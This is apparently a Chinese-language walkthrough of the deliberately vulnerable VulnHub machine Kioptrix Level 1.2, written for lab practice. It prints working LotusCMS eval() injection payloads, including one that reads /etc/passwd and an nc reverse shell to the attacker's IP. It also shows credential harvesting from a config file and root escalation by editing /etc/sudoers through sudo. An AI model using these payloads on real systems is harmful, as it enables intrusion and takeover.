0x01.靶机的基本信息

靶机名称:Kioptrix: Level 1.2 (#3)

发布日期:2011 年 4 月 18 日

靶机作者:Kioptrix

靶机地址:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

0x02.信息收集

nmap -sn 192.168.31.1/24
image-20211220162336492
sudo nmap -sS -O -A -p 1-65535 192.168.31.127
image-20211220162408772
开放端口:
    22    ssh
    80    http

0x03.前台CMS框架漏洞-远程代码执行

image-20211220162656373

前台是这样,似乎是博客网站,有个登录页面,可以看到网站使用的cms。

image-20211220162808475

很容易联想到cms框架漏洞,Google一下,3.0的版本确实存在远程代码执行。漏洞产生在'page'参数中,page参数会传递给eval函数调用,而在调用前进行了不正确的验证,因此允许远程代码执行。参考文章:LotusCMS 3.0 – eval() 远程命令执行

image-20211220163012983

虽然不知道这个网站的版本,但这并不妨碍我们试试。

复现也很简单。漏洞参数是page,先抓个包,

image-20211220163911460

然后改为POST请求

image-20211220163956509

构造payload尝试读取passwd文件,

page=index');${readfile("/etc/passwd")};#
image-20211220164142071

没有问题,那尝试反弹shell过来。看下有没有nc,

page=index');${system("whereis nc")};#
image-20211220170313618

ok存在,那么用nc反弹shell,

page=index');${system("nc -e /bin/bash 192.168.31.20 4444")};#
image-20211220170433833

成功连接了。

0x04.MySQL账户

得到shell之后,注意到/gallery/gconfig.php中含有MySQL的账户密码(root/fuckeyou)。

image-20211220171038737

由于目标也没开3306,只能看下有没有phpmyadmin了。

image-20211220172916168

好在确实有。进去在gallery这个数据库下的dev_accounts表下可以找到两个账户。

image-20211220173118689

密码应该是两串MD5加密。拿到在线解密网站都可以解出来。

image-20211220173203650
image-20211220173216696

由此得到两个账户(dreg/Mast3r;loneferret/starwars)。

0x05.提权

猜测应该是ssh账户。

image-20211220173848893

成功进入,用sudo -l,列出目前的权限。可以用root权限执行下面两个命令。

image-20211220174356868

注意到一个文件。

image-20211220174723600
image-20211220174754703

叫我们执行sudo ht,照着做,

image-20211220174826902
image-20211220175348738

这里如果出现了错误,用下面命令解决:

export TERM=xterm-color

然后再执行sudo ht 命令,发现这是一个编辑器。这意味着我们可以以root权限使用这个编辑器去编辑文件,那么用什么可以使当前用户最快获得root?当然是修改/etc/sudoers。操作编辑器打开/etc/sudoers。(编辑器操作是用:ALT+其他键位)

image-20211220175838928

在后面加上:/bin/sh,然后保存退出。

image-20211220180045285

执行命令sudo /bin/sh进行提权,如下图:

image-20211220180218424

这里我们就成功拿到root了。

0x06.总结

这个靶场总结下来关键的几个点在于:一是利用cms本身的框架漏洞,二是拿到反弹shell后耐心找到MySQL配置文件,三是在MySQL数据库中找到ssh账户,最后是通过sudo -l提权。打靶场不要操之过急,沉得住气才能少遗漏些细节。

忘了说的是打这个靶场前先将本地的hosts文件修改下,将域名kioptrix3.com 定向解析到靶机IP,是作者在readme中要求的。另外前台还有个SQL注入,同样也能够拿到权限,可以参考这篇文章,这里就不赘述了。